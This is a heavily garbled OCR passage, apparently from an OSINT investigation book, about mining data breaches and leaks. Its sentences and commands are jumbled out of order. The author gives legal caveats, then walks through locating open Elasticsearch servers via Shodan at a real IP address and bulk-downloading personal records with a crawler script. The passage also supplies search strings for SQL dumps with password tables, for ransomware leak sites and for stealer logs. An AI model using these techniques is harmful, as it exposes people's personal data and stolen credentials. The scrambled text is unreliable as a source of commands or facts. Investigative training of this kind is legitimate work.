6aE7CmflBQV2Iqk-8PcV OARHG91LSP-rSC ~ -kibana-6-2019.09.19 Y17_DE_zTzaY7l . _ . KRzRxJ8cRd2CpbSEC-tnXA 5 ZUblCdHQE 6 j o 6JQK2 J7 aA taiHMlrvT3q!!!r”’T• 4ZCi8yaxQvW113hj2TOOECQ _8 £ D 5 9 3 v 5 n-6hEECc E aLuA nOHGgDlbQrSE79xru9K10w 71O-SW4OTPiORXtyj3qkJA t£D40-XoRcq3Vx0NPEVAcA Q9 f E J j 9 nRs 6114 oXNvckTmg 1j4OGJUDSJuG7EfSu0p6qA KgZ_kQUEThG501ai27Yc9n 6ztoT6nwTicIp301 -oWrFwD-RBixBG-n yWXB2EJXS4it!d Qg7I< DI/.. 89Fj! IqK2< "bank- Place" open Elasticsearch database. Elasticsearch Crawler (github.com/Amljesse/Elasticsearch-Crawler) 448 Chapter 28 cd -/Downloads/Programs git clone https://github.com/AmIJesse/Elasticsearch-Crawler.git cd Elasticsearch-Crawler pip install nested-lookup 59 47159 >sed sensitive data associated with such as first name, last name, 39 .score: .source: account_nuxber: balance: firstnane: lastnaae: address: employer: Figure 28.04: An entry from an .type: ,-jjjjj|heath9zappix.co3" "Shaft­ in early 2019,1 was made aware of an open Elasticsearch database which expo; 57 million people. In most cases, these records contained personal information email address, home address, state, postal code, phone number, and IP address. These types of records are extremely helpful to me as an investigator. Connecting personal email addresses with real people is often the best lead of all online research. I had found the database on Shodan using the methods discussed here. Specifically, I searched for an index titled "Leads" and sifted through any results of substantial size. Once I had located the data, I was desperate to download die entire archive. With a browser limit of 10,000,1 knew I would need the help of a Python script. Next are die legal considerations. Technically, this data is publicly available, open to anyone in die world. However, some believe the act of manipulating URLs in order to access content stored within a database exceeds the definition of OSINT. 1 do not agree, but you might. 1 believe most of this data should have been secured, and we should not be able to easily collect it. The same could be said for FTP servers, paste sites, online documents, and cloud-hosted files. I believe accessing open databases becomes a legal grey area once you decide to use the data. If you are collecting this content in order to sell it, extort the original owner, or publish it in any way, you are crossing the line and committing a crime. I remind you that the Computer Fraud and Abuse Act (CFAA) is extremely vague and can make most online activity illegal in the eyes of an aggressive prosecutor. Become familiar with the data access laws in your area and confirm that these techniques do not violate any laws or internal policies. My final reminder and warning is that 1 am not an attorney. I am not advising that you conduct any of these methods on behalf of your own investigations. 1 am simply presenting techniques which have proven to be extremely valuable to many investigators. If you believe that accessing an open (public) Elasticsearch database is legal in your area, and does not violate any internal policies, it is time to parse and download all content. I reached out to my friend and colleague Jesse and explained my scenario. Within a few moments, he sent me a small Python script. This file is now a staple in my data leaks arsenal of tools. He has agreed to share it publicly, please use it responsibly. If you installed all the software within the Linux chapters, you are ready for this tutorial. If not, you can enter the following commands within Terminal. http://111.93.162.238:9200/ http://111.93.162.238:9200/_cat/indices?v http://111.93.162.238:9200/leads/_search?size=100 Data Breaches & Leaks 449 • cd -/Downloads/Programs/Elasticsearch-Crawler • python crawl.py store.size 1.3mb 190.7kb 1.8mb 7.2kb 503.5kb 2.3mb 1.7mb 280.8kb jort number, and fields to You must be logged in index imobilestore testcsv easyphix index_test crazyparts valuepans mobilemart leads This connects to the IP address (111 .93.162.238) and port (9200), and then conducts a query to display all public indexes (/_cat/indices?v). The result included the following. This connects to the target IP address (111.93.162.238) and port (9200), loads the desired index (leads) and displays the first 100 results (/_search?size=100). This is usually sufficient to sec enough target content, but this can be raised to 1000 or 10000 if desired. Below is a record. This will present several user prompts to enter the target IP address, index name, pt obtain. Let's walk through a real demonstration in order to understand the application, to a free or premium Shodan account in order to complete this tutorial. Using the IntelTechniques Breaches & Leaks Tool, seen in Figure 28.05 at the end of the chapter, I entered "leads" into the field tided "Elasticsearch". This conducted an exact search of "product:elastic port:9200 leads" within Shodan, which displayed a handful of results. One of these was an Elasticsearch server in India. This database appeared to contain test data, so 1 will not redact any' of the results. The IP address was 111.93.162.238 and the database was approximately 1GB in size. Clicking the red square within the result on Shodan opened a new tab to the following address. The brief response confirmed that the server was online. The URL discloses the IP address (111.93.162.238) and port (9200). This is the default port and is almost always the same. Now that I had the IP address, I entered it within the option titled "Index List" within the tool. Clicking that button launched a new tab at the following address. I usually look at both the names and the sizes. If I see an index titled "Customers", I know it usually contains people's information. If it is only Ikb in size, I know it is too small to be of any use. When I see any index with multiple gigabytes of data, my curiosity kicks in and I want to see the contents. For this demonstration, let's focus on the index of our original search of "leads". Within our search tool, the next option is labeled "Index View". This requires the IP address of our target (111.93.162.238) and the name of the index you wish to view (leads). This opens a new tab at the following URL. You are now ready to download an entire Elasticsearch open database and specify which fields should be acquired. Note that you must open Terminal and navigate to your script in order to launch this utility. I have included a desktop shortcut within your OSINT VM titled "Breaches/Leaks Tool" which automates this process, but let's understand the manual approach first. The following commands from within any Terminal session will launch the script. 450 Chapter 28 cd -/Downloads/Programs/Elasticsearch-Crawler git pull https://github.com/AmIJesse/Elasticsearch-Crawler.git IP address: 111.93.162.238 Index name: leads Port (Default is 9200): 9200 Field values to obtain (submit an Value: email Value: first_name Value: last_name Value: phone Value: empty line when finished): "-index": "leads","_tvpe": "leads", "Jd": "PXIhqmUBcHz5ZA2uOAe7", "-source": {"id": "86", "email": "[email protected]", "first—name": "test80","last_name": "test80", "phone": "32569874", "ip": "0.0.0.0", "orgname": "Sales Arena", "isDeleted": false, "created.at": "2018-09-05 19:57:08", "updated.at": "2018-09-05 19:57:08", [email protected],test65,test65,987485746 [email protected],test22,test22,l 24958616 [email protected],test69,test69,2145968 After being prompted for the IP address (111 .93.162.238), it asked me for the target index name (leads) and port number (9200). It then prompted me to enter the first field 1 wanted to acquire (email). Since I entered a field, it then prompted for the next field (first_name). The tool will continue to ask for field names for as long as you provide them. Notice there is an empty line in the last "Value". This empty' result tells the script you are finished, and it begins collecting the data. When finished, a text file will be saved in the same directory' as your script. In this example, it was at ~/Downloads/Programs/Elasticsearch-Crawler/l 11.93.162.238-leads.txt. The title of the file was automatically created to reflect the IP address and name of the index. The following are the first three lines of this text file. If this were real data, you would see millions of people's email addresses, names, and telephone numbers. There are likely hundreds of legitimate databases on Shodan right now, just waiting to be found. The next time you see a news article about a security researcher who found an exposed database containing millions of sensitive records, it is very' likely' that Shodan and a similar script was used. If y'our downloaded file contains random text, you have likely encountered a patched version of Elasticsearch. At the time of this writing, Elasticsearch databases version 6.4.0 and newer were blocking the script. Anything older worked fine. There may' be a new release of this crawler, and you may’ need to update your script as follows. Please note these commands are also included in the "linux.txt" file previously' downloaded. This is obviously test data, but assume it was a record containing a real person's name, email address, and phone number. Also assume there were over a million records within this index, which is quite common. We could save this page, but would be forced to save the undesired fields such as "tags" and "_source". Also, the data would be in a difficult format to search. This is where our new Python script is helpful. You have already launched the crawl.py script, and should have been presented with a prompt for the IP address of the target. The following displays each entry’ 1 submitted for this demonstration. SQL Files excsql excsql "create table” excsql "create table" "@gmail.com" excsql "create table" "@gmail.com" "'password'" Finally, some old-fashioned Google queries might find more data breaches and leaks than one can manage. Let's conduct a few examples with SQL files. SQL, often pronounced "sequel", is an acronym for Structured Query Language. It is a computer language used in programming and designed for managing data held in a relational database management system. In other words, most SQL files are databases of some sort. Many of the most popular database breaches were originally released as SQL files. WordPress backups, web forum expons, and other online maintenance files are also stored in this format. Searching for public SQL files can reveal surprising results. First, let's search Google for these files with the following commands using the tutorials discussed within previous chapters. I predict we will see fewer open databases in the future. While we still hear about sensitive leaks every week, word is spreading and companies are locking down their data. This is a good thing for all of us. Until then, I will continue to search. If all of this has made you crave more data, consider the site Internet Of Insecurity Cmtemetofinsecurity.com). This returns 10,000 results. Each is an SQL database with at least one entry of "@gmail.com" inside. This indicates that active email addresses are within the files, which is indicative of a true breach or leak. The following search should reveal data worth analyzing. Enter your target Elasticsearch IP address in the first field and the target index name in the second. Enter any desired search term in the last. This could include the email address or name of your target It is also less invasive than downloading all the content. In May of 2019,1 located an extremely sensitive open Elasticsearch database. It contained Social Security Numbers and medical records. I did not want to download the data, but I did want to search my own name. I entered the IP address and index name in the first two fields and "Bazzell" in the last. The query returned dozens of patients' records associated with my last name, but nothing connected to me. This was all done within the web browser through their open server, and I did not archive any data onto my own machine. I identified the host and reported the leak anonymously. I never received a response, but the data was removed the next day. Data Breaches & Leaks 451 This returns millions of results. While some are files with the extension of ".sql", most of the results are web pages ending with ".sql", and are not helpful. Let's modify the search as follows. The final option within the search tool allows you to search a target IP address, index, and term. Let's conduct a new demonstration. Assume you have already searched "customer" within the first "Elasticsearch" option within the search tool. You have located an open database of interest and viewed the list of indexes with the "Index List" feature. You copied the name of the index and IP address to the "Index View" search. However, the file contains millions of records, and you can only see the first 10,000. You might want to search within the remaining records to see if your target is present. We can do this with the "Index Search" feature, as seen as the last option in Figure 28.05. This returns 55,000 results which include the exact terms "create table". This is a standard statement within SQL files which specifies the names of tables within the database. This filters most of the website names from our search and displays only valid SQL files. Next, let's add to our search with the following modification. ext:sql "create table" "gmail.com" "'password'" "@yahoo.com" -site:github.com This is a very typical structure within SQL files. The following explains each piece. exctxt "create table" "gmail.com" "'password'" "yahoo.com" -site:github.com Public Data Sets 452 Chapter 28 62, (User ID) 'RichardWilson', (Name provided) 'admin', (Username) '[email protected]', (Email address) '4d5e02c3f251286d8375040ea2b54e22', (Hashed password) 'Administrator', (Usertype) 0,1,25, (Variable internal codes) '2008-05-28 07:07:08', (Registration date) '2009-04-02 13:08:07', (Last visit date) Many large data sets which are beneficial to investigations are not "breaches" or "leaks". This chapter has focused mosdy on data which was never meant to become publicly available. However, there are numerous archives full of public information which should be considered for your data collection. Most archives cannot be searched through traditional resources such as Google. Instead, we must acquire the data, condense it, and conduct our own queries. As a demonstration, 1 will explain how I utilize Usenet archives as a vital part of my investigations. You could save the entire page as a .txt file (right-click > Save page alternative query' for text files is as follows. (62, 'RichardWilson', 'admin', '[email protected]', '4d5e02c3f251286d8375040ea2b54e22','Administrate r',0,1,25,'2008-05-28 07:07:08’,'2009-04-02 13:08:07') as...) for your personal data archive. An This returns 5,400 results. Each is an SQL database with at least one entry' of "gmail.com" inside and a table tided "password". Note the single quotes around password within double quotes. This tells Google to search specifically for 'password' and not the word alone. 5,400 results are overwhelming, and include a lot of test files stored on Github. Since many people use Gmail addresses as the administrator of test databases, we should add another email domain as follows. There may be a trove of sensitive information within these files, so use caution and always be responsible Exercise good defense when browsing any of these sites or downloading any data. Trackers, viruses, and overall malicious software arc always present in this environment Using a Linux virtual machine and a reputable VPN will provide serious protection from these threats. I search and store leaked and breached databases as a part of every’ investigation which I conduct. 1 can say without hesitation that these strategies arc more beneficial than any other online investigation technique of which I know. Some investigators within my circles possess several terabytes of this data from tens of thousands of breaches and leaks. Querying your own offline archive during your next investigation, and identifying unique data associated with your target, can be extremely' rewarding. Again, I ask you to be responsible. Never use any credentials to access an account and never allow any data obtained to be further distributed. Use this public data, stolen by criminals, to investigate and prosecute other criminals. This reveals 228 results. Each arc SQL files which contain at least one Gmail address, one Yahoo address, and a table titled password. Furthermore, all results from Github are removed. Most of these results will load as text files within your browser. However, some will be quite large and may crash your browser while loading. The following is a modified excerpt from an actual result, which I found by searching "@gmail.com" within the browser text. OSINT Original VM. Within Terminal, enter the pip install internetarchive Data Breaches & Leaks 453 cd -/Desktop ia search ' collection:giganews ’ -i > giganewsl.txt ia search ’ collection: usenethistorical -i > usenethistoricall.txt From: “David N." <[email protected]> Subject: Need Fake Texas DL Date: 1998/07/11 Newsgroups: alt.2600.fake-id I need a quality bogus TX DL for my 17 year old sister. Can you help me out? https://archive.org/ details/giganews https://archive.org/details/usenethistorical First, we need to install the Internet Archive script within our following. thirty years' worth of Usenet to 20,000 files. It is massive, and These are two independent Usenet archives. Each contains unique records and some redundant data. Let's take a look at the second collection. The first folder is tided Usenet-Alt and contains over 15,000 files extracted from decades of conversations within the "Alt" communities. Opening the file tided alt.2600.fake-id.mbox reveals names, email addresses, dates, and entire messages dating back to 1997. The following is an excerpt. We now have the script installed and read}7 to use from any folder. Next, we need to identify the Internet Archive collections which we want to acquire. For this demonstration, I will focus on the following two data sets. Today, the Internet Archive presents huge repositories of data containing over messages. It is presented in over 26,000 archives, each containing between 1 would take years to download manually. Fortunately, we can use a download script created by the Internet Archive to automatically obtain all desired data. The following tutorial will install the necessary software into our Linux virtual machine; download the entire Usenet archive; extract email addresses and names of each member; acquire newsgroup data to associate with each person; and condense the data into a usable format. Tliis will take some time and may be overwhelming, but the final product is worth the effort. Let's begin. First, we must create a text file which includes every archive within each collection. The following commands navigate to your Desktop and create text files for the Giganews and Usenet Historical archive.org data sets. Usenet was my first introduction into newsgroups in the early nineties. My internet service provider allowed full access to thousands of topics through Outlook Express. I could subscribe to those of interest and communicate via email with people from all over the world. This sounds ridiculously common today, but it was fascinating at the time. 1 located a newsgroup about my favorite band, and I was quickly trading bootleg cassettes and exchanging gossip about the music industry. I was freely sending messages without any consideration of any abilities to permanendy archive everything. Possessing a database of every7 email address and name from thirty7 years of Usenet posts can be very7 beneficial. Downloading every7 message can be overkill. This entire data set is over a terabyte in size. Instead of trying to download everything, I only7 want specific portions of the data. The Giganews collection includes two files for each archive. The first is the "mbox" file which includes the full messages along with user information. These are very7 large and could take months to download. The second is a "csv" file which only includes the date, message ID, name, email address, newsgroup, and subject of each post. This is a much more manageable amount of data which includes the main information desired (name and email address). We will only7 download the minimal information needed for our purposes. ia download —itemlist giganewsl.txt —glob=”* .csv.gz" gunzip find 454 Chapter 28 usenet-alt.2600 usenet-alt.2600a usenet-alt2600crackz We can now instruct Internet Archive to begin downloading die necessary files. The following command downloads only the "csv" files from the Giganews collection. It can take several hours if you have a slow internet connection. If you do not have sufficient space within your VAI, consider saving these to an external drive as previously instructed. You should now have thousands of folders, each containing multiple compressed CSV files. This is not vet)' useful or clean, so let's extract and combine all the valuable data. The following command will decompress all the files and leave only the actual CSV documents. It should be executed from whichever directory contains all of the downloaded folders. In my demonstration, it is in the Desktop. from John Smith <[email protected]> newsgroups microsoft.windowsxp Subject Help Me! #date 20031204 find . -type f -name \*.csv -printO I xargs -0 cut -fl, 3,4,5 > Giganews2.txt -type f -name \*.csv -printO I xargs -0 cut -fl,3,4,5 Let's dissect the Internet Archive commands, "ia" is the application, "search" identifies the type of query, "collectiomgiganews" identifies the target data on archive.org, "-i" instructs the application to create an item list, and " > giganewsl.txt" provides the desired output. These text files on your Desktop contain the names of all the archives within the collections. The following is an excerpt. This is the command to "find" data to manipulate. This instructs the command to find all files. This searches for a regular file type. This filters to only find a specific file extension (csv). This directs output to a file instead of the screen. This is a "pipe" character which separates the commands for a new instruction. This builds our next command from the previous data as input. This extracts only the data from columns 1,3,4 and 5 from each CSV. This instructs the command to send the data to another file. Giganews2.txt This identifies the output file name. We still have thousands of files, which is not ideal. The following command will combine ever}7 CSV file into a single text file titled Giganews2.txt. Furthermore, it will only extract the columns of data most valuable to us, as explained afterward. Let's break down each portion of this command, as it can be quite useful toward other data sets. "gunzip" is the command to extract the data from the compressed files, "-r" conducts the command recursively through any sub-folders, and " ." continues the action through ever}7 file. Below is a modified excerpt from one of the files. It identifies the date of the post (12/04/2003), name of the author (John Smith), email address associated with the account ([email protected]), specific newsgroup used (microsoft.windowsxp), and the subject of the post (Help me!). r .zip" Next, we must extract the "mbox" files from their compressed containers with the following. rg -a -F -i -N "From: *' > UsenetHistorical2.txt This leaves us with a single large file tided UsenetHistorical.txt. Below are a few lines. sort -u -f Giganews2.txt UsenetHistorical2.txt > UsenetFinal.txt rg -a -F -i -N bazzell UsenetFinal.txt The result includes the following partial data. to otherwise Data Breaches & Leaks 455 microsoft.public.pocketpc,Steven Bazzell [email protected] sd.bio.microbiology,[email protected] Wayne A. Bazzell,M.P.S.E sd.crypt,[email protected] Wayne A. Bazzell,M.P.S.E sd.crypt,General Darcy J. Bazzell [email protected] ia download —itemlist usenethistoricall.txt —glob="* The final result should be a very large file which contains all of the valuable content from within every downloaded file. In a moment, we will use this data to research our targets. The Usenet Historical collection is stored in a different format, so these instructions will need to be modified. The following steps will extract the beneficial data from that collection, and should appear similar to the previous actions. First, we must downloa the entire archive with the following command. The first line identifies Steven Bazzell in the Usenet group of microsoft.public.pocketpc while using an email address of [email protected]. You could search by names, emails, partial emails, domains, etc. I have successfully used my own Usenet archive in the following scenarios. find . -name alt.2600.mbox:From: "Bill Smith" <[email protected]> aft.2600.mbox:From: "yosinaga jackson" <[email protected]> aft.2600.mbox.From: "yosinaga jackson" <[email protected]> We do not have as many details within this data set as we did with the Giganews option. However, possessing the names, email addresses, and newsgroups provides a lot of value. Both the Giganews2.txt and UsenetHistorical2.txt files possess many duplicate entries wasting valuable space. You might consider the following command which combines both files into one file while removing all duplicate lines. ”*.zip" -exec unzip {} \; Finally, we must extract the "From:" line from each file with the following command. We now possess a single file, quite large in size, which possesses the names, email addresses, and interests of most users of the Usenet system over a thirty year period. Now, let's discus ways this can be used during investigations. Assume you are researching a target with my last name. When using Ripgrep, your command is as follows. • When searching a unique target name, I have uncovered old email addresses which led me unknown social network profiles. • When searching an email address, I have identified various interests of the target, determined by the newgroups to which he or she has posted. • When searching an email address, it serves as a great way to verify a valid account and establishes a minimum date of creation. • When searching a domain, I often identify' numerous email addresses used by die owner. Ransomware Data you 456 Chapter 28 ".onion" "Dopple" "ransomware" "url" ".onion" "Ragnar" "ransomware" "url" ".onion" "REvil" "ransomware" "url" ".onion" "Conti" "ransomware" "url" ".onion" "Vice Society" "ransomware" "url" ".onion" "Clop" "ransomware" "url" ".onion" "Nefilim" "ransomware" "url" ".onion" "Everest" "ransomware" "url" ".onion" "Cuba" "ransomware" "url" https://mega.nz/file/mSJGGDYI#oNIeyaG2oIHcHQFfGeFuq3zxUp_cCgARVf6bQNqp91s https://bit.ly/36937Pk The file contains only the name, email address, and newsgroup fields from both collections in order to keep the size minimal. I have removed all duplicates and cleaned the file formatting to exclude any unessential data. It is 12GB compressed to 3GB. I hope you find it to be useful. This presents the next conundrum for me. How do I share the locations of this data without jeopardizing myself in the process? I cannot provide direct URLs, but I can disclose the following. Any site you may want to visit will require the Tor Browser previously explained. Next, Google and the search tutorials presented at the beginning of the book should help you find the pages most valuable to ransomware investigations. Queries for the following should assist. If you thought I was pushing the boundaries of ethical data acquisition, the following might make v™’ uncomfortable. You have likely heard about ransomware infection. It is the illegal activity by criminals which steals data from a company, encrypts all of their files, and demands a ransom to gain access to the unusable data remaining on their own servers. When companies began creating better backups which eliminated the need to pay the ransom, the criminals took a new route. If the victims do not pay, all of their data is uploaded to the internet via Tor websites for anyone to download. This generates terabytes of private documents, email, databases, and every other imaginable digital file. Is this OSINT data? I don’t think so. However, an investigator working on behalf of a victim company should know where to find this information. These collections possess over 43 million unique email addresses. You may be questioning the justification of the time it would take to create your own archive. While I encourage you to replicate the steps here, I also respect the difficulty involved. Therefore, I have made my own Usenet file available for download at the following address and shortened URL. • When conducting background checks on targets over the age of 35, I often identify email addresses connected to questionable interests. While investigating a potential police officer, I located evidence he had previously posted images to a child pornography newsgroup. This was confirmed during the interview. • When searching a username, I often locate confirmed email addresses from several years prior. These open new possibilities once provided to our search tools. In 2019, I located an otherwise unknown email address associated with my target username. It had been used to post to a hacking forum in 2002. The name, email, and username only identified "JohnDoe". This new email account was associated with a unique password within the Myspace breach data. Searching the password identified additional email accounts within other breach data sets. Searching those accounts within the Usenet data displayed the true name of my target. Everyone makes a mistake eventually. • Any time I see a serial killer, active shooter, or otherwise deranged individual in the news, I seek any presence within old newsgroups. More often than not, if the subject was tech-sawy in the 90's, 1 find interesting evidence missed by most news media. site:https://app.hacknotice.com "onion" Stealer Logs Storage Capacity "stealer logs" "download" "stealer logs" "Azorult" "stealer logs" "Vidar" "stealer logs" "Redline" "stealer logs" "Raccoon" These should present information which will connect you through the best URLs. However, we have one other option. The following Google search presents pages within the website Hack Notice which announce ransomware publications. Opening these pages displays a notice of ransomware intrusion. Clicking the title of the article presents the Tor URL which may display the stolen data. Clicking "View Original Source" on this new page will attempt to open the Tor URL in your browser. I have discovered terabytes of data this way. While I could spend another chapter identifying ransomware data of interest and its value to online investigations, I must stop. If you have made it this far into the book, you have the skills to continue your own journey into ransomware exposure. Real World Application: Once you have built a massive collection of these logs, you can use Ripgrep to query them as previously mentioned. In 2021,1 was investigating an unknown person harassing one of my clients. He was using a throwaway email address which seemed impossible to trace. It was not present within any breach data. However, it appeared within my stealer logs, which included a device name similar to Desktop-u3ty6. Searching that device identifier presented dozens of email addresses and passwords in use on that machine. This quickly revealed my suspect, a 15-year-old kid. Further investigation confirmed his computer became infected after downloading a pirated version of anti-virus software. The irony. If you found historic breach credentials valuable, recent stealer logs should excite you. These are text files containing usernames, email addresses, passwords, browser autofill data, IP addresses, screen captures, and system details present on computers infected with a virus. If you download pirated software from shady websites, there is a good chance that it is infected with a virus. When you install it, malicious files begin snooping on your daily activity. Any data collected is uploaded to rented servers and criminals then sell this data online. Since the passwords are fresh, they are more likely to be accurate with current credentials. This presents an awful situation for victims, but also an amazing opportunity for investigators. The following Google queries might present interesting information, but most results lead to shady criminal marketplaces which require an account to see download links. Use extreme caution here. I present a final warning about disk space. If you replicate all of these steps within a VM which is only’ allocated a small disk (less than 100GB), expect to run out of space. If you plan to include data breaches and leaks into your daily routine, you might consider a dedicated Linux host Expect frustration, complications, and slow queries if using an external drive. The methods presented in this chapter can be conducted within any’ operating system as long as the proper utilities are installed. I use a dedicated Linux laptop with a 4TB SSD internal drive for my data collection. My queries are fairly fast, and I never worry’ about disk space. My Linux OS provides protection from malicious software, and this machine is never used to conduct online investigations. Once you see the benefits of this data, you might be walling to make the jump. Data Breaches & Leaks 457 IntelTechniques Breaches & Leaks Tool IntelTechniques Tools Search Engines Facebook Twitter Instagram Linkcdln Communities Email Addresses Dehashed [Telephone Number ] Usernames Names Telephone Numbers [Name ][ ] Dehashed Maps Documents Pastes Images A Videos Hash Domains IP Addresses Business & Government J OSINT Book License Figure 28.05: The IntelTechniques Breaches & Leaks Tool. 458 Chapter 28 ]1 J ] J Virtual Currencies □□ □ —I □ [Username [Username Dehashed InteIX Company, IP or Keyword IP Address IP Address IP Address IP Address IP Address 11 Index Name | j Index Name f I L I L Dehashed InteIX Password or Hash Password or Hash Domain Domain HIBP Dehashed InteIX CyberNews Spycloud HIBP Dehashed ®MD5 QSHA1 QSHA-256 Password II [ | Keyword Dehashed____ | Google ) [Email Address [Email Address [Email Address [Email Address [Email Address This final search tool combines most of the online search options mentioned diroughout the chapter. The breach data resources are split into categories based on the target data (email, username, etc.). The last feature allows entry of any found password and immediately generates an MD5, SHA1, and 51-1/1256 hash for further research. Figure 28.05 displays the current view. Elasticsearch Index List_____ Index View |___ [ Index Search j https://inteltechniques.com/osintbook9 Enters username of "osint9" and password of "book!43wt" (without quotes) if required. OSINT Methodology 459 Se c t io n III OSINT METHODOLOGY This section enters territory I have always avoided in previous editions. We can no longer ignore discussions about workflow, documentation, and other formalities of our investigations. It is also time that we tackle the ethics surrounding online investigations. These are not easy conversations, and many people will have their own opinions. I do not claim to have all of the answers. I only have my own experiences and lessons learned from many mistakes. It is now time to take a breath and get back to basics. You may have been overwhelmed with the techniques discussed throughout the previous sections. You may wonder how you will present your findings, create a report, and defend your right to access public information from the internet. This section tackles these issues. Throughout this section, we present numerous document templates and workflow diagrams. All of these are available to you via digital download at the following URL. I rely heavily on assistance from my friend and colleague Jason Edison throughout this entire section. Jason is a 20-year veteran of a major U.S. police department where he serves as the investigative lead for the agency’s Digital Crimes Unit. He has trained thousands of students in the public and private sectors on various topics related to open source intelligence and cyber-crime investigations. In fact, he is an official IntelTechniques OSINT instructor who travels the world presenting my methods. He also maintains the IntelTechniques online video training courses at IntelTechniques.net. Most of the content in this section is directly from him. I maintain the first-person usage of "I" throughout the section. It is a collective "I” from both of us. In the late 9O's, I was tasked to investigate a computer-related crime involving inappropriate online contact from a registered sex offender to children in his neighborhood. The internet was new to most people; AOL dial-up connections were common; and there was very little monitoring or enforcement in place. 1 contacted the subject at his home and conducted an interview. He admitted to inappropriate behavior and showed me the evidence on his computer. I had no forensic imaging machine or acquisition methods. I didn't even have a digital camera. I had my notepad and pen. Months later, I testified about the illegal activity this suspect conducted with local diildren. I verbally explained what I observed on his computer without any digital evidence. It was a very different time, and would never be acceptable today. Current prosecution would require forensic acquisition, detailed logs, and pictorial proof of every step. This is a good thing, but presents a higher demand toward your own documentation and overall OSINT methodology. Without digital evidence, the computer crime or online incident you are investigating never happened. Without proper training and policies, your evidence may never be considered. Without confidence in your work, you may not be taken seriously. Jason and I do not agree on everything presented here. This is why you see alternative tools and methods which may contradict each other. This is a good thing. We need as many thoughts and opinions as possible in order to present ideas applicable to many situations. As an example, I try not to use Microsoft or Google products unless absolutely necessary7.1 have forced myself to use Linux whenever possible, and avoid closed-sourced tools which "call home". Jason prefers Microsoft OneNote, which is extremely robust. His need for an ideal note-taking solution outweighs my paranoia of metadata collection by Microsoft. He prefers Chrome while I insist on Firefox. Neither of us are right or wrong. We simply have strong preferences. We only hope to present numerous options which may help you choose the best methods for your own investigations. Only you can decide what is most appropriate for your daily workload. 460 Chapter 29 Receiving the OSINT Mission Methodology & Workflow 461 Ch a pt e r Tw e n t y -Nin e Me t h o d o l o g y & Wo r k f l o w The first step in most investigations is what we in law enforcement refer to as "intake". This is the process of receiving a mission assignment from a supervisor or fielding a request for investigative support from another internal unit or outside agency. For those in the private sector, this might be accepting a contract investigation from a client or conducting a security assessment as part of your normal duties. The following are examples of OSINT requests that we receive on a regular basis: Triage is the practice of assessing a situation or mission to calculate an approach that is likely to result in the best possible outcome. A common mistake that is made when working OSINT investigations is to rush to action with no clear plan or direction. You should take time at the beginning of a mission to ensure you are following a productive path to relevant answers. Depending on the urgency of the situation, this step could be 30 seconds or 30 minutes. The important thing is to make a plan of attack and move forward with purpose rather than just bush-whacking your way through the internet. Here are some of the key considerations during the triage phase of your investigation. This chapter assumes you have already completed the steps laid out in the previous sections of this book. You will need familiarity with each of those tools and techniques if you wish to take full advantage of the recommended workflow. If you have an existing investigative process, there will likely be pieces shared here that can be folded into your current procedures. The examples used here were chosen purely for demonstration purposes and not due to any association with ongoing criminal investigations. An often overlooked component of open source intelligence gathering is the importance of establishing an efficient and repeatable workflow. You need to be thoughtful and deliberate in how you proceed on an investigation rather than wading in haphazardly. As an instructor, one of the most common stumbling blocks with which I see new practitioners struggle is putting the tools into action in a fashion that results in a professional looking work product. This section provides a step by step walkthrough of the entire investigative process, from receiving an OSINT assignment all the way to submitting a professional case report • Threat Assessments (Individuals): Online threats to carry out an act that we wish to prevent Who is this person? Where are they? What is their capability and true intent5 • Threat Assessments (Events): Monitor intelligence prior to and during a significant event that impacts the organization or region of responsibility. Who is involved? What are their intentions? What is the scale of impact on available resources? • Target Profiles (Individuals): Uncover the target’s entire online presence, including email addresses, home addresses, friends, hobbies, etc. • Target Profiles (Organizations): Uncover an organization’s online footprint and/or entire technological infrastructure. This can be a business, criminal enterprise, or group of individuals organized to pursue a shared goal. • Subscriber Identification/Account Attribution: Identify the real person associated with a domain, IP address, or online account. Who runs a malicious website? Which child predator has web traffic through this IP address? The following recommendations can be applied to any of these common investigative scenarios. More than anything else, the key to success is staying organized and having a repeatable process. Triage have two hours to Legal Service & Preservation Letters Deconfliction 462 Chapter 29 Find the legal name of the real person associated with [email protected]. Find any home and/or work addresses for [email protected]. Be certain of the mission objectives. If you ask a professional analyst to describe the first step they take in any assessment, they will tell you that it is to identify the question. This of course could be multiple questions, but the important thing is that you articulate the investigative goals. This can be a verbal or written confirmation, depending on your situation, but written is preferred should the other party later misremember the conversation. If you work in support of law enforcement, you should consider if there is likely to be a legal request made to any known social media platforms. For example, if a Gmail address was involved in a crime, you might want to issue a preservation letter to Google requesting that they retain any data related to the specified address. The preservation letter is issued in anticipation of a future subpoena or search warrant for account data, such as subscriber information. If you are unsure of whom to contact at a particular provider in order to submit this request, a good starting point is the ISP list at https://www.search.org/resources/isp-list/. Try to get a live person on the phone rather than just sending an email. Build rapport with the support person or legal contact and shepherd them into doing the right thing based on the urgency of the situation. No one wants to be responsible for a teen suicide or the next school shooting. Often, they will be much more cooperative and productive if they feel invested in the situation. Include in your verification any specific identifiers (email addresses, names, phone numbers, IP addresses, etc.) that were originally provided by the requestor. It gives them a chance to catch an}’ typos or miscommunications. They may have given you the email address of the victim rather than the suspect. Those types of mix-ups occur frequently and can waste a lot of valuable investigative time and resources if not caught and corrected early on. That quick clarification also defines the primary goals for our investigations, similar to the following. The first benefit of articulating the questions is establishing a clear set of expectations with the person asking you to do the work. This could be a supervisor, contract client, colleague, or victim of a crime. Do not overthink it. An example could be: "To be clear, you want to know the real name and physical addresses associated with the person in control of the email account of [email protected], and we accomplish this. Is this correct?" When it comes time to write your investigative report, these questions should be clearly addressed in the summary of key findings. Taking the time to articulate and clarify mission goals up front lays the groundwork for your final work product. You should also ask questions regarding the source of any initial leads or other intelligence on your target. Why do we believe that email address belongs to our suspect? How was that lead obtained and how certain are we that it is correct? Information is not intelligence until it has context. You need to ask questions up front to establish any available context for the target. Do we know anything about their location or culture? Are they into video games or an avid pro-baseball fan? Once you get to the research phase of the investigation, you will have a far easier time locating pages, accounts, and identifiers related to your target if you start learning about his or her day to day life. Never assume that the person tasking you with this work is giving you all available information. Ask questions and be persistent. Not all investigations involve infiltration into criminal organizations. However, when they do, you may want to check with colleagues in other agencies to make sure you are not stepping on any ongoing investigations. This could also save you time should you locate an investigator who has already laid groundwork into the online communities in question. We always want to be respectful of another professional's work and collaborate whenever operationally appropriate. In the past, I have concluded long-term investigations only to find out later that other teams were running operations in that community at the same time. While reviewing the case, we found that we had wasted time working to gain reputation with users who, unbeknownst to us, were other Note-Taking Key Questions/Goals Investigative Steps Knoll Your Tools node in a Methodology & Workflow 463 • Find the real name associated with [email protected] • Find any home and/or work addresses for [email protected] • Using Chrome 